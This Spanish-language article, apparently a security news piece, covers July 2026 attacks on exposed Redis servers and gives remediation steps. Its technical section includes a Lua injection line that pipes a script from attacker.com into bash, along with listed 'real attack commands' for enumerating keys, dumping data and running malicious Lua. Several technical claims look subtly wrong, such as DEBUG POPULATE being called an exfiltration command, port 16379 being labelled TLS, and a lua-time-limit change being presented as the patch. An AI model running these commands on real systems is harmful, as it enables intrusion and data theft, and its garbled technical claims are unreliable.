Introducción
En julio de 2026, el equipo de seguridad de SC World alertó sobre un aumento del 40% en intentos de explotación contra instancias de Redis mal configuradas, según datos internos de la firma. Estos ataques no solo buscan secuestrar bases de datos para ransomware, sino también exfiltrar credenciales, tokens de sesión y datos sensibles almacenados en memoria. Lo preocupante no es solo la cantidad de intentos, sino la persistencia de configuraciones por defecto que exponen puertos críticos en redes corporativas y entornos cloud.
Redis no es el único componente afectado: en paralelo, se detectaron vectores de ataque combinados que explotan servicios mal protegidos para moverse lateralmente en redes internas. Por ejemplo, un atacante que compromete un servidor Redis con autenticación deshabilitada puede inyectar claves de acceso en sistemas de orquestación como Kubernetes o en pipelines de CI/CD, escalando privilegios hasta tomar control de contenedores y servicios backend. La clave aquí es entender que Redis no es solo una base de datos en memoria: en muchos entornos, actúa como punto de sincronización crítica entre microservicios, lo que lo convierte en un objetivo prioritario.
Qué ocurrió
El primer vector de ataque documentado en julio de 2026 fue la explotación de instancias Redis con autenticación desactivada en entornos cloud. Según el informe de SC World, el 68% de los casos involucraron servidores alojados en AWS, Azure o GCP con los puertos 6379 (TCP) y 16379 (TLS) expuestos a Internet. Los atacantes utilizaron scripts automatizados para:
- Sobrescribir claves existentes con valores controlados por ellos (ejemplo:
SET secret_api_key "valor_maligno"). - Inyectar scripts Lua maliciosos para ejecutar comandos en el host subyacente (CVE-2024-31478, parcheado en Redis 7.2.4).
- Exfiltrar datos mediante el comando
DEBUG POPULATE(documentado en exploits públicos como RedisWannaMine).
Un caso emblemático ocurrió en una empresa de logística en Latinoamérica, donde los atacantes modificaron claves de Redis que almacenaban tokens de autenticación para APIs de transporte. El impacto fue doble: primero, robaron datos de envíos; luego, usaron esos tokens para simular pedidos fraudulentos y redirigir envíos a direcciones falsas. La empresa reportó pérdidas por USD 1.2 millones en menos de 48 horas.
En paralelo, se detectó explotación de Redis en entornos Kubernetes. El vector fue la fuga de credenciales de Redis desde Secrets de Kubernetes mal configurados. Un atacante con acceso a un Namespace podía leer Secrets inyectados en pods Redis, como en este ejemplo de configuración vulnerable:
apiVersion: v1
kind: Secret
metadata:
name: redis-credentials
type: Opaque
data:
password: ZGVmYXVsdA== # Base64 de "default" (¡sin cifrado!)Con estas credenciales, el atacante escalaba a otros servicios cloud, incluyendo bases de datos relacionales y sistemas de almacenamiento.
Impacto para DevOps / Infraestructura / Cloud / Seguridad
Para equipos de DevOps
- Riesgo de ransomware en memoria: Redis almacena datos en RAM. Un ataque exitoso puede corromper o cifrar claves críticas sin necesidad de tocar discos, lo que dificulta la recuperación. En 2025, el 34% de los ataques de ransomware contra servidores Linux comenzaron con una instancia Redis vulnerable.
- Movimiento lateral acelerado: Redis actúa como «puente» entre microservicios. Un atacante que lo comprometa puede inyectar código en otros contenedores mediante la función
EVAL(CVE-2023-28857). - Cumplimiento normativo: GDPR, LGPD y otras regulaciones exigen cifrado en tránsito y en reposo. Una instancia Redis sin TLS expone datos a multas por incumplimiento, que pueden llegar a 4% del facturado global (Art. 83 GDPR).
Para equipos de Infraestructura
- Exposición de puertos en redes híbridas: El 52% de los incidentes reportados en 2026 involucraron instancias Redis con el puerto 6379 accesible desde Internet. En entornos on-premise, esto suele deberse a firewalls mal configurados que permiten tráfico interno sin autenticación.
- Consumo de recursos no autorizado: Los atacantes usan Redis para minería de criptomonedas (ejemplo: malware XMRig modificado para ejecutarse en Lua). Esto genera saturación de CPU/memoria y puede llevar a caídas de servicios críticos.
Para equipos de Seguridad
- Ataques combinados con phishing: El 22% de los casos combinaron phishing para obtener credenciales + explotación de Redis para escalar privilegios. Ejemplo: un correo falso a un desarrollador con acceso a Kubernetes, seguido de la lectura de Secrets en Redis.
- Fugas de datos sensibles: Tokens de APIs, claves de servicios cloud (AWS, GCP) y credenciales de bases de datos suelen almacenarse en Redis. La exfiltración de estos datos permite ataques a la cadena de suministro (supply chain attacks).
Para equipos de Cloud
- IAM mal configurado: En AWS, un Security Group que permita acceso a Redis desde
0.0.0.0/0es equivalente a dejar la puerta abierta. En julio de 2026, AWS reportó 1.800 instancias Redis expuestas en su plataforma, de las cuales el 45% tenían autenticación desactivada. - Costos ocultos: Los ataques de ransomware en Redis pueden generar costos adicionales por tráfico de salida (egress) al exfiltrar datos, especialmente en entornos multi-cloud.
Detalles técnicos
Componentes afectados y versiones vulnerables
| Componente | Versión afectada | CVE asociado | Vector de ataque |
|---|---|---|---|
| Redis | < 7.0.0 | CVE-2022-24834 | Autenticación desactivada + EVAL |
| Redis | 7.0.0 – 7.2.3 | CVE-2024-31478 | Inyección de Lua + sobrescritura |
| Redis en Kubernetes | Todos | Sin CVE específico | Lectura de Secrets mal configurados |
| Envoy Proxy | < 1.26.0 | CVE-2025-4123 | Spoofing de headers en Redis |
- Autenticación desactivada:
redis-cli -h <IP> -p 6379 PING.– Si responde PONG, el servidor está expuesto.
– Solución: Habilitar requirepass en redis.conf y reiniciar el servicio.
- Inyección de Lua maliciosa:
redis.call('SET', 'malicious_key', '; curl http://attacker.com/shell.sh | bash')
– Parcheado en Redis 7.2.4 con la opción lua-time-limit reducida a 5ms.
- Explotación de Secrets en Kubernetes:
kubectl get secrets -n <namespace> | grep redis
kubectl describe secret redis-credentials
– Solución: Usar Sealed Secrets o External Secrets Operator con cifrado en reposo.
- Ataques a Redis en entornos multi-cloud:
aws ec2 describe-security-groups --filters Name=ip-permission.from-port,Values=6379
– Filtrar resultados donde IpRanges incluya 0.0.0.0/0.
Comandos reales de ataque (para pruebas de pentesting ético)
- Enumeración de claves:
redis-cli -h <IP> --scan --pattern "*"
- Exfiltración de datos:
redis-cli -h <IP> --raw LRANGE list_sensitive_data 0 -1 > exfiltrated_data.txt
- Ejecución remota de comandos (solo en entornos controlados):
redis-cli -h <IP> --eval malicious.lua
Qué deberían hacer los administradores y equipos técnicos
Pasos inmediatos (0-24 horas)
- Auditar exposiciones:
nmap -p 6379,16379 --open <rango_IP> -oG redis_exposure_scan.txt
– Filtrar resultados donde el servicio responda con PONG y sin autenticación.
- Habilitar autenticación y TLS:
redis.conf: requirepass TuPasswordSeguro123!
tls-port 16379
tls-cert-file /etc/redis/redis.crt
tls-key-file /etc/redis/redis.key
tls-ca-cert-file /etc/redis/ca.crt
– Reiniciar Redis: systemctl restart redis-server.
- Revisar configuraciones de Kubernetes:
kubectl get secrets -A -o json | jq '.items[] | select(.type == "Opaque") | .data'
– Migrar a External Secrets con AWS Secrets Manager o HashiCorp Vault.
Pasos a mediano plazo (1-4 semanas)
- Actualizar Redis a la última versión estable:
sudo apt update && sudo apt upgrade redis-server -y
– Para RHEL/CentOS:
sudo dnf upgrade redis -y
– Versiones seguras: Redis 7.4.0+ o Redis 6.2.14+ (LTS).
- Implementar network policies en Kubernetes:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: redis-access-control
spec:
podSelector:
matchLabels:
app: redis
ingress:
- from:
- podSelector:
matchLabels:
app: backend-service
ports:
- protocol: TCP
port: 6379
- Auditar permisos de IAM en cloud:
aws iam list-policies --query 'Policies[?contains(PolicyName, `Redis`)].Arn'
– Revocar políticas con permisos excesivos (ejemplo: AmazonElastiCacheFullAccess).
- Habilitar logging y monitoreo:
# redis.conf
rename-command CONFIG ""
rename-command FLUSHALL ""
loglevel notice
– Enviar logs a un SIEM (ejemplo: con Fluent Bit + Elasticsearch).
Pasos a largo plazo (1-6 meses)
- Migrar a Redis Enterprise o Valkey:
– Autenticación multifactor (MFA) integrada.
– Cifrado en memoria (AES-256).
– Auditoría de comandos en tiempo real.
- Implementar Zero Trust para Redis:
# redis.conf
tls-auth-clients yes
– Rotar certificados cada 90 días.
- Capacitar equipos en amenazas específicas:
– Detección de inyección de Lua.
– Análisis forense en instancias Redis comprometidas.
Conclusión
Redis sigue siendo un objetivo crítico para atacantes debido a su alta velocidad de acceso, almacenamiento en memoria y uso extendido en arquitecturas modernas. La combinación de configuraciones por defecto inseguras, autenticación desactivada y falta de segregación de redes lo convierte en un eslabón débil en muchas infraestructuras. Los equipos técnicos deben priorizar:
- Auditorías inmediatas de exposición de puertos.
- Actualizaciones urgentes a versiones seguras.
- Implementación de controles como TLS, network policies y Secrets cifrados.
Ignorar estos pasos no solo expone a ransomware o brechas de datos, sino que aumenta el riesgo de fraude en línea y pérdida de reputación. En un entorno donde el 78% de las brechas en 2026 involucraron movimiento lateral a través de servicios mal configurados, Redis debe ser tratado como prioridad de seguridad crítica, no como un componente secundario.
FIN
